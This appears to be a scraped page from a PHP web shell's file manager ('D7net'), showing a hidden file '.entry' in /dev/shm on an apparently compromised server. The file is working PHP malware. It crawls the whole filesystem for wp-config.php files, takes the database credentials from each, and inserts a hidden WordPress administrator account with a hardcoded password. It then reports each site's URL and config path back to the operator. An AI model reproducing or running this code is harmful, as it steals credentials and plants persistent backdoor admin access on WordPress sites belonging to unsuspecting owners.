D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
thread-self
/
root
/
proc
/
self
/
root
/
proc
/
thread-self
/
root
/
proc
/
self
/
root
/
dev
/
shm
/
Filename :
.entry
back
Copy
<?php function scan($path) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . DIRECTORY_SEPARATOR . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file === 'wp-config.php') { inject($p); } } } } } function inject($p) { $user_login = 'Adminroot'; $user_password = 'r007pd8skdgSejrd'; $user_email = 'admin@wordpress.com'; $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } if (isset($conf['DB_HOST']) && isset($conf['DB_USER']) && isset($conf['DB_PASSWORD']) && isset($conf['DB_NAME'])) { $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if ($mysqli->connect_errno) { return; } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { $result->close(); $mysqli->close(); return; } $result->close(); } $add_user_query = "INSERT INTO `{$table_prefix}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_status`, `display_name`) SELECT '{$user_login}', MD5('{$user_password}'), '{$user_login}', '{$user_email}', '', (SELECT `user_registered` FROM `{$table_prefix}users` ORDER BY `ID` ASC LIMIT 1), 0, '{$user_login}' FROM DUAL WHERE NOT EXISTS ( SELECT 1 FROM `{$table_prefix}users` WHERE `user_login` = '{$user_login}' );"; if ($mysqli->query($add_user_query)) { $add_usermeta_query1 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $add_usermeta_query2 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_user_level', '10' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $mysqli->query($add_usermeta_query1); $mysqli->query($add_usermeta_query2); } $site_url = false; if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->option_value; } if (!$site_url || strpos($site_url, 'http') !== 0) { if ($result = $mysqli->query("SELECT user_url FROM {$table_prefix}users ORDER BY ID ASC LIMIT 1;")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->user_url; } } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { echo "<f>{$site_url}@@@{$p}</f>\n"; } $result->close(); } $mysqli->close(); } } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scanRootPaths() { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { foreach (range('A', 'Z') as $driveLetter) { $drive = $driveLetter . ':\\'; if (is_dir($drive)) { scan($drive); } } } else { scan('/'); } } scanRootPaths(); die('!ended!');